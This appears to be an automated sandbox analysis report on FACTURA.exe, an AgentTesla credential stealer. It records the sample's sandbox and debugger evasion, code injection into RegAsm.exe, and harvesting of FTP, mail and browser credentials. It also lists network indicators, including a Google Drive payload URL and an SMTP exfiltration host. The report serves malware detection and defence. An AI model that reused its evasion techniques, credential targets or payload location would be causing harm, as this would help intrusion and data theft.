Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\FACTURA.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\FACTURA.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: FACTURA.exe, 00000001.00000002.17251736149.00000000007D0000.00000004.00000001.sdmp, RegAsm.exe, 00000005.00000002.21791838141.0000000000BF0000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: RegAsm.exe, 00000005.00000002.21791838141.0000000000BF0000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=1_9GRCZAMVWIYOZMQGYLCLU_IMIL5MBHKWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO
Source: FACTURA.exe, 00000001.00000002.17251897212.0000000000803000.00000004.00000020.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: FACTURA.exe, 00000001.00000002.17251736149.00000000007D0000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLL
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3176 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 9950 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\FACTURA.exe System information queried: ModuleInformation Jump to behavior
Source: RegAsm.exe, 00000005.00000002.21793120359.00000000010E0000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW"$
Source: FACTURA.exe, 00000001.00000002.17251736149.00000000007D0000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dll
Source: RegAsm.exe, 00000005.00000002.21793120359.00000000010E0000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: RegAsm.exe, 00000005.00000002.21791838141.0000000000BF0000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=1_9grCzaMvwiyOZmqGYlclu_imIL5MBHKwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: FACTURA.exe, 00000001.00000002.17251736149.00000000007D0000.00000004.00000001.sdmp, RegAsm.exe, 00000005.00000002.21791838141.0000000000BF0000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: RegAsm.exe, 00000005.00000002.21792809457.000000000109C000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW`
Source: FACTURA.exe, 00000001.00000002.17251897212.0000000000803000.00000004.00000020.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\FACTURA.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread information set: HideFromDebugger Jump to behavior
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\FACTURA.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 5_2_00E46946 KiUserExceptionDispatcher,LdrInitializeThunk, 5_2_00E46946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\FACTURA.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F00000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\FACTURA.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\FACTURA.exe' Jump to behavior
Source: RegAsm.exe, 00000005.00000002.21794731928.00000000016E1000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: RegAsm.exe, 00000005.00000002.21794731928.00000000016E1000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 00000005.00000002.21794731928.00000000016E1000.00000002.00020000.sdmp Binary or memory string: Progman
Source: RegAsm.exe, 00000005.00000002.21794731928.00000000016E1000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 392, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to steal Mail credentials (via file access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 392, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000005.00000002.21802616572.000000001DEC1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 392, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1380 Sample: FACTURA.exe Startdate: 28/09/2021 Architecture: WINDOWS Score: 100 17 mail.reyesyasociados.com 2->17 19 googlehosted.l.googleusercontent.com 2->19 21 2 other IPs or domains 2->21 29 Found malware configuration 2->29 31 Multi AV Scanner detection for submitted file 2->31 33 Sigma detected: RegAsm connects to smtp port 2->33 35 3 other signatures 2->35 8 FACTURA.exe 1 2->8         started        signatures3 process4 signatures5 37 Writes to foreign memory regions 8->37 39 Tries to detect Any.run 8->39 41 Hides threads from debuggers 8->41 11 RegAsm.exe 9 8->11         started        process6 dnsIp7 23 mail.reyesyasociados.com 109.169.39.245, 49795, 587 IOMART-ASGB United Kingdom 11->23 25 drive.google.com 142.250.185.206, 443, 49792 GOOGLEUS United States 11->25 27 googlehosted.l.googleusercontent.com 142.250.186.33, 443, 49793 GOOGLEUS United States 11->27 43 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 11->43 45 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 11->45 47 Tries to steal Mail credentials (via file access) 11->47 49 5 other signatures 11->49 15 conhost.exe 11->15         started        signatures8 process9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.250.185.206
 drive.google.com United States
15169 GOOGLEUS false
109.169.39.245
 mail.reyesyasociados.com United Kingdom
20860 IOMART-ASGB true
142.250.186.33
 googlehosted.l.googleusercontent.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
drive.google.com 142.250.185.206 true
googlehosted.l.googleusercontent.com 142.250.186.33 true
mail.reyesyasociados.com 109.169.39.245 true
doc-08-50-docs.googleusercontent.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://doc-08-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/1bb12mp9hm55ekloh95nskj64c1gjp2b/1632812250000/00519186742208262786/*/1_9grCzaMvwiyOZmqGYlclu_imIL5MBHK?e=download false
    		high